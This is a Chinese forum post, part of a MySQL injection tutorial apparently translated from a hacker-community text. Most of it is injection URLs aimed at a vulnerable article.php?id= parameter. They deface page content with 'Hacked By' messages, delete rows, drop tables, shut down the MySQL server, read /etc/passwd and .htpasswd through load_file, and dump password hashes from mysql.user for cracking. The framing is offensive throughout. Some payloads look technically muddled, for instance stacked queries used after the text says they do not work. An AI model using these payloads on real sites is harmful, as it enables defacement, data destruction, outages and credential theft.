51Testing软件测试论坛
标题: mysql注入4 [打印本页]
作者: 悠悠小仙仙 时间: 2019-2-1 15:55
标题: mysql注入4
#0x06~修改网站内容有时候,你会发现易受攻击的网站,并且需要知道,但是管理员登录可能不存在,或者某些IP范围是可访问的。 即使在该上下文中,您也可以使用一些kewl SQL命令来修改站点内容。 我没有看到很多文章解决这个问题,所以我想把它包含在这里。
在这里,我将基本上讨论一些可能用于更改网站内容的SQL命令。 Therse命令是MySQL的主力并且在执行时是致命的。 但堆叠查询不适用于MySQL。
首先让我列出这些命令:
UPDATE:它用于编辑数据库中已有的信息而不删除任何行。
DELETE:用于删除一个或多个字段的内容。
DROP:用于完全删除表及其所有相关数据。
现在,如果网站允许我们与db进行交互而没有清理和适当的权限,你可能已经发现这些命令非常具有破坏性。
命令用法:
UPDATE:我们易受攻击的页面是:
<?phpsite.com/article.php?id=5 让我们说查询是:
<?phpSELECT title,data,author FROM article WHERE id=5虽然实际上我们不知道上面的查询,但我们可以找到前面讨论过的表和列名。
所以我们会这样做:
<?phpsite.com/article.php?id=5+UPDATE+article+SET+title='Hacked By Xenu for R00TW0RM C0MMUNITY'/*或者,你可以做:
<?phpsite.com/article.php?id=5+UPDATE+article+SET+title='Hacked By r00tw0rm',data='Ur site has zero security',author='Xenu'/*通过执行第一个查询,我们在表格文章中将标题值设置为“Hacked By r00tw0rm”,而在第二个查询中,我们更新了表格文章中的所有三个字段title,data和author。
有时,您可能想要更改id = 5的特定页面。 为此,你会这样做:
<?phpsite.com/article.php?id=5+UPDATE+article+SET+title='value 1',data='value 2',author='value 3'+WHERE+id=5/* DELETE:如前所述,这将从数据库服务器中永久删除一个或多个字段的内容。
语法是:
<?phpsite.com/article.php?id=5+DELETE+title,data,author+FROM+article/*或者,如果要从id = 5中删除这些字段,您将执行以下操作:
<?phpsite.com/article.php?id=5+DELETE+title,data,author+FROM+article+WHERE+id=5/* DROP:这是你可以使用的另一个致命的命令。 有了这个,你可以删除一个表及其所有相关数据。
为此,我们将URL设为:
<?phpsite.com/article.php?id=5+DROP+TABLE+article/*这将删除表格文章及其所有内容。
最后,我想谈谈';'。
虽然我没有在我的教程中使用它,但你可以使用它来结束你的第一个查询并启动另一个查询。
这个 ; 可以保留在我们的第一个查询的末尾,以便我们可以在它之后开始新的查询。
#0x07~关闭MySQL服务器这就像执行服务器一样,因为它会使合法用户或网站访问者无法使用MySQL资源......为此,您将使用:
SHUTDOWN WITH NOWAIT;那么,你会制作一个执行上述命令的查询......
例如,在我的情况下,我会做以下事情:
<?phpsite.com/article.php?id=5+SHUTDOWN+WITH+NOWAIT; 哇,太疯狂了! MySQL服务器关闭...这将阻止合法用户和网站访问者使用或查看MySQL资源
#0x08~LoadfileMySQL有一个名为load_file的函数,您可以再次使用它来获益。我还没有看到很多网站可以使用这个函数...我认为我们应该拥有MySQL root权限....此外,魔术引号 应该关闭这个...但有一种方法可以超越魔术引号... load_file可用于加载服务器的某些文件,如.htaccess,.htpasswd等..还有/ etc等密码文件 / passwd等。
做类似下面的事情:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+load_file('etc/passwd'),2/*但有时候,你必须对部件进行hex并执行以下操作:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+load_file(0x272F6574632F70617373776427) 我已经hex了......现在,如果我们幸运的话,脚本将在结果中回显/ etc / passwd。
#0x08~MySQL Root如果MySQL版本为5或更高版本,我们可能会获得MySQL root权限,这对我们来说也会有所帮助。来自版本5的MySQL服务器有一个名为mysql.user的表,其中包含用于登录的哈希和用户名... 它位于MySQL数据库的用户表中,随MySQL的每次安装一起提供。
为此,您将:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+concat(username,x3a,password),2+from+mysql.user/* 现在你将获得用户名和哈希..哈希是mysqlsha1 ...快速注意:JTR不会破解它..但是insidepro.com有一个要做它..
欢迎光临 51Testing软件测试论坛 (http://bbs.51testing.com/) |
Powered by Discuz! X3.2 |